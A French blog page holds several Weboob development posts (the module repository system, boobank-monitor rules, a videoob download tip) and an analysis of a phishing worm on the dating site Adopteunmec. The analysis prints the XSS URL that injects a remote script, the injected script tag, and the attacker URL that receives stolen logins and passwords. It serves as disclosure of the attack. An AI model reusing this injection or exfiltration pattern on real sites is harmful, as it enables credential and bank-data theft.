Blog of :/blog/

Categories:
  • weboob
  • weboob / Dépôts Weboob

    Un problème majeur que l'on rencontre avec Weboob, est l'évolutivité imprévisible des sites web supportés, qui peuvent casser un module si celui-ci n'est pas suffisamment tolérant, ou si le changement est trop conséquent.

    Pour réduire le désagrément de l'utilisateur qui ne peut plus utiliser les fonctionnalités qui améliorent sa vie au quotidien, il convient d'être réactif sur trois points :

    La détection du bug

    Ce premier point est effectué soit par le buildbot (via ses tests journaliers et post-commits), soit par l'utilisateur qui va sagement produire un rapport de bug. Une idée d'amélioration permettant l'envoi automatisé d'un bugreport contenant toutes les informations nécessaires sera l'objet d'un futur billet.

    L'écriture d'un correctif

    Chaque module est en principe maintenu par une personne qui l'utilise au quotidien. Malheureusement, il arrive que des modules voient leur mainteneur disparaître sans donner de nouvelles. Il est toujours possible pour un membre de la Core Team dévoué et chômeur d'intervenir rapidement sur un de ces modules, mais ce n'est malheureusement pas toujours possible, notamment en ce qui concerne les modules supportant des sites bancaires.

    La diffusion du correctif

    Ce point est celui qui va retenir notre attention aujourd'hui.

    Jusqu'alors, les modules étant distribués directement avec les sources de Weboob, il convenait de sortir une nouvelle version de l'ensemble du logiciel pour diffuser le moindre correctif.

    Pour l'utilisateur, il convenait par simplicité d'utiliser les dépôts Debian de Weboob pour bénéficier du système APT afin de mettre aisément à jour les modules. Pour une installation depuis les sources (sans passer par git), c'est plus contraignant.

    C'est pourquoi il a été décidé de développer un système de dépôts Weboob (inspiré de celui de tucan) pour distribuer les modules et de gérer leurs mises à jour.

    Les dépôts

    Concrètement, lorsqu'on installe Weboob, seuls le core et les tools sont présents sur le système.

    Dès que l'utilisateur cherche à ajouter un backend, si le module correspondant n'est pas installé, l'application s'occupe d'aller le chercher sur les dépôts, puis l'installe dans son ~/.weboob/.

    Pour mettre à jour les modules, l'utilisateur se contentera de taper la commande suivante :

    $ weboob-config update

    Ça va chercher sur les dépôts si de nouvelles versions des modules installés sont présentes, et si oui les installe.

    Ce n'est pas plus compliqué que ça pour l'utilisateur, qui se contente de mettre à jour de temps en temps, ou lorsqu'il rencontre un problème avec un module, pour vérifier si un correctif n'est pas déjà mis à disposition.

    Architecture

    Un dépôt est un répertoire servi par HTTP qui contient un fichier modules.list, ainsi que, pour chaque module, un .tar.gz (le module lui-même) et un .png (son icône).

    Il existe un dépôt pour chaque version de Weboob, avec plusieurs déclinaisons : main et nsfw.

    Côté client, chaque utilisateur possède un fichier ~/.weboob/sources.list contenant les liens vers les dépôts.
    Par défaut, il contient :

    # List of Weboob repositories
    #
    # The entries below override the entries above (with
    # backends of the same name).
    
    http://updates.weboob.org/%(version)s/main/
    # To enable NSFW backends, uncomment the following line:
    #http://updates.weboob.org/%(version)s/nsfw/
    
    # DEVELOPMENT
    # If you want to hack on Weboob backends, you may add a reference
    # to sources, for example:
    #file:///home/rom1/src/weboob/modules/
    

    Un éditeur externe peut donc créer son propre dépôt sur lequel il distribue ses propres modules Weboob.

    L'outil weboob-repos permet de gérer un dépôt. Lorsqu'un module est mis à jour, sa version (sous forme AAAAMMJJHHMM) est incrémentée.

    Développement

    Afin de développer des modules sans avoir à les uploader sur un véritable dépôt pour les tester, il est possible de référencer des pseudo-dépôts locaux.

    Pour ce faire, il suffit de spécifier le chemin vers le répertoire contenant les modules de cette manière :

    file:///path/to/modules/

    Après un weboob-config update, les modules qui s'y trouvent sont utilisables directement.

    Contrairement aux dépôts distants, les modules des dépôts locaux n'ont pas à être installés. Ils sont chargés directement depuis le répertoire indiqué dans le sources.list.

    Conclusion

    Ce mode de distribution des modules permet de pousser des mises à jour de modules immédiatement pour tous les utilisateurs d'une version donnée. Pour tester, il vous suffit d'installer la version git, et de lancer une update pour installer tous les modules référencés dans votre fichier ~/.weboob/backends.

    La prochaine étape devrait être de sécuriser le téléchargement de ces modules, en utilisant un système basé sur GPG pour signer les tarballs.

    Virus Adopteunmec

    Adopteunmec, le site de rencontres ayant un fort succès chez les jeunes adultes, est victime depuis hier d'un joli virus qui exploite un XSS non persistant présent sur la page des dernières visites.

    Découverte

    J'ai reçu en effet de la part de plusieurs de mes contacts ne ressemblant pas à des spambots, le message suivant :

    Stp explique c'est quoi a : http://www.adopteunmec.com.udara.fr/premium

    Si l'on regarde de plus près, il s'agit d'un redirect vers l'URL suivante :

    http://www.adopteunmec.com/visits/?page=2x%3B%20%2Fscript%3E%20script%20src%20http%3A%2F%2Fwww.astril.it%2Fi%3E

    La présence du XSS dans l'URL est évidente, et il suffit de regarder la source de la page pour se rendre compte que la valeur passée à la variable page est présente dans le javascript sans être échappée :

    <script type="text/javascript">
    		var firstPage = 2x;
    </script><script src='http://www.astril.it/i'></script>
    

    Le script ainsi chargé contient en apparence du bytecode, mais il s'agit en réalité d'une façon d'obfusquer le code. Toutes les chaînes sont stockées dans un tableau sous leur représentation unicode. Après avoir fait un petit script tentant de remettre ces chaînes à leur place et de rajouter de l'indentation, on obtient ce fichier, qui devient du coup bien plus clair.

    Diffusion du virus

    En premier lieu, il récupère tous les contacts de la victime, et tente de leur envoyer le message suivant :

    (12mois d'abonnement gratuit su adopteunmec) : http://www.adopteunmec.com.udara.fr/premium

    Récupération des identifiants

    Ensuite, il remplace le contenu de la page qui aurait du contenir la liste des filles ayant visité notre profil, par le message suivant :

    Vous êtes sur le point d'obtenir notre Premium-Service, veuillez suivre les étapes.

    Détail amusant, l'image s'affiche en dessous de ce message durant deux secondes sans raison, avant qu'enfin un formulaire d'identification n'apparaisse.
    Ainsi qu'on peut l'imaginer aisément, une URL de l'attaquant est appelée avec le login et le mot de passe :

    http://www.astril.it/docs/visit.php?a=login&u=MONLOGIN&p=MONPASSWD

    On peut voir dans le code qu'il va rajouter dynamiquement le résultat de cette requête à la page. Sachant que je ne souhaite pas forcément donner accès à mon compte à l'attaquant, je n'ai pas renseigné mes véritables identifiants, ce qui m'empêche de savoir ce que renvoi le serveur en cas normal, puisqu'il essaie immédiatement de se loguer, ainsi qu'en atteste le message que j'obtiens :

    Veuillez vérifier votre adresse email/mot de passe !

    Coordonnées bancaires

    Néanmoins, le reste du javascript laisse aisément deviner ce qui va se passer. En effet, les fonctions PersoForm() (demandant des informations nominatives), CCForm() (carte bancaire), et BnkForm() (RIB et identifiants bancaires en ligne), laissent peu de doutes sur la suite des réquisitions faites à la victime.

    Vient enfin la fonction TheEnd(), affichant le message suivant avant de rediriger sur la page d'accueil d'Adopteunmec :

    Votre demande a bien été prise en compte ...

    Conclusion

    Ce virus a été extrêmement bien pensé, exploitant une petite XSS manifestement inoffensive, mais qui, avec de bons moyens mis derrière, peut très bien marcher.

    Ce qui m'a le plus amusé, c'est le fait qu'il va au fur et à mesure prendre de plus en plus l'utilisateur pour un con naïf, demandant en premier lieu les informations les moins confidentielles, jusqu'à aller de plus en plus loin.

    Pour moi, les « ... » à la fin du message de conclusion sonnent comme une marque de mépris envers le pigeon qui a été jusqu'au bout des demandes farfelues qui lui ont été faites.

    Je pense néanmoins que la faiblesse de ce virus est que les garçons n'ont que des filles comme contacts, et vice versa. Or, si les homme peuvent être intéressés par la possibilité d'avoir un accès gratuit au site (pour ceux qui n'en ont pas déjà un comme moi), les femmes auront moins tendances à cliquer sur le lien, freinant la diffusion du virus.

    Enfin, astril.il semble être une société italienne, dont le site a probablement été compromis par l'auteur du virus.

    weboob / Télécharger une recherche de vidéos

    Les applications consoles de Weboob fournissent tout un tas d'options et de paramètres qui peuvent paraître complexes ou superflues pour les utilisateurs qui ont eu l'audace de lire la sortie de --help, mais elles apportent quand même la possibilité d'étendre les usages de Weboob.

    Je pense que je vais écrire de courts billets fréquemment pour évoquer des astuces d'utilisation de Weboob qui ne sautent pas aux yeux immédiatement mais qui peuvent se révéler fort utiles.

    Aujourd'hui, nous allons voir comment télécharger toutes les vidéos résultant d'une recherche faite avec videoob :

    $ videoob search lol -s url \
              --no-keys -f multiline | wget -i-

    Si on regarde de plus près :

    • search lol: la commande de recherche et le pattern voulu
    • -s url: dans la sortie, on ne veut que le champ 'url' de chaque vidéo
    • -f multiline: le formateur par défaut (très joli et tout) n'est pas celui que l'on veut, on prend multiline qui affiche un champ par ligne
    • --no-keys: on indique que l'on ne veut pas afficher la clef du champ, mais uniquement la valeur
    • | wget -i-: on pipe à wget en lui indiquant de lire les URLs dans l'entrée standard

    On aurait également pu utiliser les options -b ou -n pour sélection un backend particulier ou limiter le nombre de résultats (par défaut à 10), ou même rajouter un ou deux filtres sur les résultats avec le paramètre -c.

    À comparer avec une solution ruby :

    videoob search lol|ruby -ne 'lambda{|a|puts a if a}[$_.scan(/\* \((.+?)\)/).flatten]'|xargs -I@ videoob download @

    weboob / StandardBrowser

    Ce matin j'ai effectué un changement au système de browser que je voulais faire depuis un moment et qui est de séparer la classe BaseBrowser en deux.

    Nous trouvons donc maintenant deux classes :

    • BaseBrowser, dont le fonctionnement reste inchangé et qui a pour objectif d'être dérivée, afin de gérer toutes les interactions possibles que l'on peut avoir avec le site web, et dont les rouages internes doivent être opaques pour l'utilisateur de l'objet.
    • StandardBrowser, qui se veut être utilisable telle quelle, comme le mechanize.Browser, avec la gestion des proxy, cookies, parsers, exceptions, et autres helpers.

    J'ai donc cherché à l'utiliser dans le backend OuiFM qui était cassé, et ça donne ceci. On constate que ça va être très pratique dans l'écriture de backends concis que Noé réclame de pouvoir faire depuis longtemps.

    weboob / Opérations bancaires

    Boobank, l'application de gestion des comptes bancaires de Weboob, est une des plus anciennes, car directement issue d'un script que j'avais développé pour le site de la BNP et qui existait avant Weboob. C'est aussi je pense l'une des applications qui a le plus de potentiel, car elle touche à un élément moteur de la vie quotidienne — l'argent — et qu'elle permet de répondre fortement au vide laissé par le fossé qu'il y a entre les sites web des banques et les besoins des utilisateurs.

    En plus de permettre la visualiser de ses comptes et des opérations, et d'effectuer des transferts, ce potentiel de boobank est dans le traitement des données ainsi exportées, et des ordres que l'on pourrait automatiquement programmer. C'est de là qu'est venue dans un premier temps le plugin boobank pour Munin, permettant de grapher l'évoluer de ses comptes bancaires dans le temps :

    Mais une idée plus intéressante est une application qui permettrait de mettre en relation non seulement les backends de banque, mais également ceux de messages, afin d'avoir un démon qui monitor ses comptes bancaires automatiquement et qui est capable, suivant des règles pré-établies, d'envoyer des alertes (via ces backends ICapMessagesPost), voire de prendre lui-même une décision.

    L'exemple d'un fichier de configuration type de cette application boobank-monitor permet de mettre en avant les possibilités :

    [main]
    interval = 3600
    email = weboob@example.org
    
    [alert:MAIL]
    type = mail
    address = weboob@example.org
    
    [alert:SMS]
    type = message
    to = 0623456789@sms
    message = Attention mon gars, il ne reste que %(CHEQUE.balance)s neuros sur ton compte chèque et %(LIVRET_A.balance)s sur ton livret A.
    
    [alert:DLFP]
    type = message
    to = T@dlfp
    title = Donnez pour Tuxfamily
    message = Bonjour, nal.
     Le compte de Tuxfamily est dans le rouge, envoyez les brouzoufs
    
    [account:CHEQUE]
    id = 1234567891234567@bnporc
    
    [account:LIVRET_A]
    id = 4567891234567892@bnporc
    
    [account:LIVRET_JEUNE]
    id = 9876543219876543@bnporc
    
    [rule:Ctoomuch]
    if = CHEQUE.balance > 1500
    1 = transfer, CHEQUE, LIVRET_A, LIVRET_A.balance - 1500
    2 = alert, MAIL
    
    [rule:Cnotenough]
    if = EMPTY_CHEQUE and LIVRET_A_ENOUGH_MONEY
    1 = transfer, LIVRET_A, CHEQUE, 500
    2 = alert, MAIL
    3 = alert, SMS
    
    [rule:Cwtf]
    if = EMPTY_CHEQUE or not LIVRET_A_ENOUGH_MONEY
    1 = ACTION_PANIC
    
    [condition:EMPTY_CHEQUE]
    if = CHEQUE.balance < 0
    
    [condition:LIVRET_A_ENOUGH_MONEY]
    if = LIVRET_A.balance > 500
    
    [action:ACTION_PANIC]
    1 = alert, MAIL
    2 = alert, SMS
    3 = alert, DLFP
    

    C'est ce chantier qu'il me semble important de mettre en œuvre car la demande est importante. Rien que le fait de n'avoir commité que très récemment le support du format QIF (et encore, il faudrait supporter cette merde d'OFX) et qui a pourtant été apprécié, montre qu'il y a une attente qu'on ne devrait pas aussi tarder à combler.

    weboob / Création du planet weboob

    Dans le but de consolider les équipes du projet Weboob, j'ai mis en place le Planet Weboob.

    Le but sera de permettre à chaque contributeur du projet de publier des articles relatifs à son travail sur tel ou tel backend, les astuces utilisées pour boobiser un site, explication de difficultés rencontrées, etc.

    La langue retenue pour le moment est le français. En effet, même si Weboob est un projet qui se veut international, la majorité des contributeurs et des sites supportés sont français, aussi même en maîtrisant l'anglais écrit, il est plus aisé de rédiger de longs textes lyriques dans sa langue natale.
    Si par la suite cela s'avère nécessaire, on pourra changer.

    Les développeurs de Weboob qui souhaitent donc pouvoir bénéficier de cette tribune peuvent m'envoyer par mail un flux RSS correspondant à une catégorie de leur blog qui ne comportera que des articles relatifs à Weboob. Le but de ce planet n'est pas de réunir les histoires de vacances ou les péripéties sexuelles des gens qui gravitent autour du projet, mais bel et bien des articles consacrés à celui-ci.